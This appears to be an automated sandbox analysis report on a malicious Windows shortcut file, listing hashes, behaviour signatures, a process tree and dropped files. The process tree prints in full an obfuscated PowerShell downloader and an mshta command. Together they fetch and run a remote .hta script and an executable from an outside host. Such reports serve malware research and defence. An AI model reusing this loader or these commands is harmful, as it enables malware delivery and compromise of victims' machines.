Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/05/2024, 05:20

General

  • Target

    Doc.lnk

  • Size

    1KB

  • MD5

    60f1320faf25bc20101c4312f82a72f8

  • SHA1

    a37a8f932db503eed34cbe9aa1db40f63b36fee1

  • SHA256

    bb26c65d29da78c698c19344058832b21593d27f4d89b5118345bb76614a564a

  • SHA512

    96652e9e0a96545449a260c19d920eb3f1debc879e76f5a594848a28ef165b733ca61fcc75636781289e30cc7e87aae11028ff159a1bdc93a274dbed99f03d07

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://foundationforwomenshealth.com/rooming.hta

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Start PowerShell.

  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of UnmapMainImage
    • Suspicious use of WriteProcessMemory
    PID:3452
    • C:\Windows\system32\cmd.exe
      cmd /c C:\Users\Admin\AppData\Local\Temp\Doc.lnk
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:244
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'https://foundationforwomenshealth.com/rooming.hta'
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5076
        • C:\Windows\System32\mshta.exe
          "C:\Windows\System32\mshta.exe" https://foundationforwomenshealth.com/rooming.hta
          4⤵
          • Blocklisted process makes network request
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:3724
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function iuJPxTQS($IJCvcIeo, $gpgwsiJSczSj){[IO.File]::WriteAllBytes($IJCvcIeo, $gpgwsiJSczSj)};function EjoMCmvmrPhMtwTL($IJCvcIeo){if($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47846,47854,47854))) -eq $True){rundll32.exe $IJCvcIeo }elseif($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47858,47861,47795))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $IJCvcIeo}elseif($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47855,47861,47851))) -eq $True){misexec /qn /i $IJCvcIeo}else{Start-Process $IJCvcIeo}};function nyAhNYUptqM($swQIUCvOyYd){$GQRylVCycvBAcjMMivqF = New-Object (uytCRFyTKEJzlr @(47824,47847,47862,47792,47833,47847,47844,47813,47854,47851,47847,47856,47862));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$gpgwsiJSczSj = $GQRylVCycvBAcjMMivqF.DownloadData($swQIUCvOyYd);return $gpgwsiJSczSj};function uytCRFyTKEJzlr($FCpZJhLpBNlnS){$KskPPnz=47746;$nuNRqvoYIqNT=$Null;foreach($HSXDbspEKMwPJOh in $FCpZJhLpBNlnS){$nuNRqvoYIqNT+=[char]($HSXDbspEKMwPJOh-$KskPPnz)};return $nuNRqvoYIqNT};function RrbwTHrSKoXiNsmhK(){$ASgAmoIXZipayyHcO = $env:AppData + '\';$qBzHfpVo = $ASgAmoIXZipayyHcO + 'room.exe'; if (Test-Path -Path $qBzHfpVo){EjoMCmvmrPhMtwTL $qBzHfpVo;}Else{ $LhrXdLIM = nyAhNYUptqM (uytCRFyTKEJzlr @(47850,47862,47862,47858,47861,47804,47793,47793,47848,47857,47863,47856,47846,47843,47862,47851,47857,47856,47848,47857,47860,47865,47857,47855,47847,47856,47861,47850,47847,47843,47854,47862,47850,47792,47845,47857,47855,47793,47860,47857,47857,47855,47792,47847,47866,47847));iuJPxTQS $qBzHfpVo $LhrXdLIM;EjoMCmvmrPhMtwTL $qBzHfpVo;};;;;}RrbwTHrSKoXiNsmhK;
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:668
            • C:\Users\Admin\AppData\Roaming\room.exe
              "C:\Users\Admin\AppData\Roaming\room.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              PID:4776
    • C:\Windows\SysWOW64\netbtugc.exe
      "C:\Windows\SysWOW64\netbtugc.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • Modifies Internet Explorer settings
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of WriteProcessMemory
      PID:2768
      • C:\Program Files\Mozilla Firefox\Firefox.exe
        "C:\Program Files\Mozilla Firefox\Firefox.exe"
        3⤵
          PID:2832

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      64B

      MD5

      d8b9a260789a22d72263ef3bb119108c

      SHA1

      376a9bd48726f422679f2cd65003442c0b6f6dd5

      SHA256

      d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

      SHA512

      550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uauywm0h.smr.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\room.exe

      Filesize

      264KB

      MD5

      1dcce19e1a6306424d073487af821ff0

      SHA1

      9de500775811f65415266689cbdfd035e167f148

      SHA256

      77e14caae3daf05c1f5a6a3d10e4936cc58944d6ae9ec6943b1be6d995e94b5c

      SHA512

      4528efd164bff904830fde7efb04d5cf3999ef4fa0b8c3d4ad0407d7cd75f03085107c8ae5651e015f62e414a59979fd264e94257c52f60540d5969fd4ca144a

    • memory/2768-44-0x0000000000CE0000-0x0000000000D1F000-memory.dmp

      Filesize

      252KB

    • memory/2768-45-0x0000000000CE0000-0x0000000000D1F000-memory.dmp

      Filesize

      252KB

    • memory/2832-53-0x0000026859DE0000-0x0000026859EDC000-memory.dmp

      Filesize

      1008KB

    • memory/3452-46-0x00000000028E0000-0x0000000002991000-memory.dmp

      Filesize

      708KB

    • memory/5076-17-0x00007FFBAB7C0000-0x00007FFBAC281000-memory.dmp

      Filesize

      10.8MB

    • memory/5076-14-0x00007FFBAB7C0000-0x00007FFBAC281000-memory.dmp

      Filesize

      10.8MB

    • memory/5076-13-0x00007FFBAB7C0000-0x00007FFBAC281000-memory.dmp

      Filesize

      10.8MB

    • memory/5076-12-0x000001C27AAF0000-0x000001C27AB12000-memory.dmp

      Filesize

      136KB

    • memory/5076-2-0x00007FFBAB7C3000-0x00007FFBAB7C5000-memory.dmp

      Filesize

      8KB